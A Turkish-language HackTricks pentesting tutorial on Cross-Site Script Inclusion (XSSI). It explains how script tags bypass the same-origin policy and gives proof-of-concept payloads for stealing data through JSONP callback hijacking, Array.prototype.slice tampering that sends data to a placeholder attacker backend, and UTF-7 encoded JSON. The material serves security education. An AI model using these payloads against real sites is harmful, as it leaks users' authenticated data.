hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md

99 lines
7.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# XSSI (Cross-Site Script Inclusion)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Temel Bilgiler
**Cross-Site Script Inclusion (XSSI)**, HTML'deki `script` etiketinin doğasından kaynaklanan bir güvenlik açığıdır. Çoğu kaynağın **Same-Origin Policy (SOP)**'ye tabi olmasının aksine, script'ler farklı alanlardan dahil edilebilir. Bu davranış, farklı sunucularda barındırılan kütüphanelerin ve diğer kaynakların kullanımını kolaylaştırmak için tasarlanmıştır, ancak aynı zamanda potansiyel bir güvenlik riski de taşır.
### **XSSI**'nin Ana Özellikleri:
- **SOP'yi Aşma**: Script'ler **Same-Origin Policy**'den muaf tutulur, bu da onların farklı alanlar arasında dahil edilmesine olanak tanır.
- **Veri Açığa Çıkma**: Bir saldırgan, `script` etiketi aracılığıyla yüklenen verileri okumak için bu davranışı istismar edebilir.
- **Dinamik JavaScript/JSONP Üzerindeki Etki**: **XSSI**, dinamik JavaScript veya **JSON with Padding (JSONP)** için özellikle önemlidir. Bu teknolojiler genellikle kimlik doğrulama için "ambient-authority" bilgilerini (çerezler gibi) kullanır. Farklı bir ana bilgisayara script isteği yapıldığında, bu kimlik bilgileri (örneğin, çerezler) isteğe otomatik olarak dahil edilir.
- **Kimlik Doğrulama Token'ı Sızıntısı**: Bir saldırgan, bir kullanıcının tarayıcısını kontrol ettikleri bir sunucudan script istemeye kandırabilirse, bu isteklere dahil olan hassas bilgilere erişebilir.
### Türler
1. **Statik JavaScript** - Bu, XSSI'nin geleneksel formunu temsil eder.
2. **Kimlik Doğrulama ile Statik JavaScript** - Bu tür, erişim için kimlik doğrulama gerektirdiği için farklıdır.
3. **Dinamik JavaScript** - Dinamik olarak içerik üreten JavaScript'i içerir.
4. **JavaScript Olmayan** - JavaScript'i doğrudan içermeyen güvenlik açıklarını ifade eder.
**Aşağıdaki bilgiler [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)** adresinin bir özetidir. Daha fazla ayrıntı için kontrol edin.
### Normal XSSI
Bu yaklaşımda, özel bilgiler genel olarak erişilebilir bir JavaScript dosyasına gömülmüştür. Saldırganlar, dosya okuma, anahtar kelime arama veya düzenli ifadeler gibi yöntemler kullanarak bu dosyaları tanımlayabilir. Bulunduktan sonra, özel bilgi içeren script, kötü niyetli içerik içinde dahil edilebilir ve hassas verilere yetkisiz erişim sağlanabilir. Aşağıda bir örnek istismar tekniği gösterilmektedir:
```html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
### Dinamik-JavaScript-tabanlı-XSSI ve Kimlik Doğrulanmış-JavaScript-XSSI
Bu tür XSSI saldırıları, bir kullanıcının isteğine yanıt olarak gizli bilgilerin dinamik olarak script'e eklenmesini içerir. Tespit, çerezlerle ve çerez olmadan istekler göndererek ve yanıtları karşılaştırarak gerçekleştirilebilir. Eğer bilgiler farklıysa, bu gizli bilgilerin varlığını gösterebilir. Bu süreç, [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp eklentisi gibi araçlar kullanılarak otomatikleştirilebilir.
Eğer gizli veriler bir global değişkende saklanıyorsa, bu, Regular XSSI'de kullanılan benzer yöntemlerle istismar edilebilir. Ancak, eğer gizli veriler bir JSONP yanıtında yer alıyorsa, saldırganlar bilgiyi almak için geri çağırma fonksiyonunu ele geçirebilir. Bu, ya global nesneleri manipüle ederek ya da JSONP yanıtı tarafından yürütülecek bir fonksiyon kurarak yapılabilir, aşağıda gösterildiği gibi:
```html
<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
```
```html
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
Global ad alanında yer almayan değişkenler için, *prototype tampering* bazen istismar edilebilir. Bu teknik, JavaScript'in tasarımını kullanır; burada kod yorumlaması, çağrılan özelliği bulmak için prototip zincirini geçmeyi içerir. Belirli fonksiyonları, örneğin `Array`'nin `slice` fonksiyonunu geçersiz kılarak, saldırganlar global olmayan değişkenlere erişebilir ve leak edebilir:
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
Daha fazla bilgiye, [Sebastian Lekies](https://twitter.com/slekies) adlı Güvenlik Araştırmacısının çalışmalarında ulaşılabilir; kendisi bir [vektörler](http://sebastian-lekies.de/leak/) listesi tutmaktadır.
### Non-Script-XSSI
Takeshi Terada'nın araştırması, Non-Script dosyalarının, CSV gibi, `script` etiketinde kaynak olarak dahil edilerek cross-origin olarak sızdırıldığı başka bir XSSI biçimini tanıtmaktadır. Jeremiah Grossmanın 2006 yılında tam bir Google adres defterini okumak için gerçekleştirdiği saldırı ve Joe Walkerın 2007 JSON veri sızıntısı gibi tarihsel XSSI örnekleri, bu tehditlerin ciddiyetini vurgulamaktadır. Ayrıca, Gareth Heyes, belirli tarayıcılarda etkili olan JSON formatından kaçmak ve script'leri çalıştırmak için UTF-7 kodlu JSON içeren bir saldırı varyantını tanımlamaktadır:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
```html
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}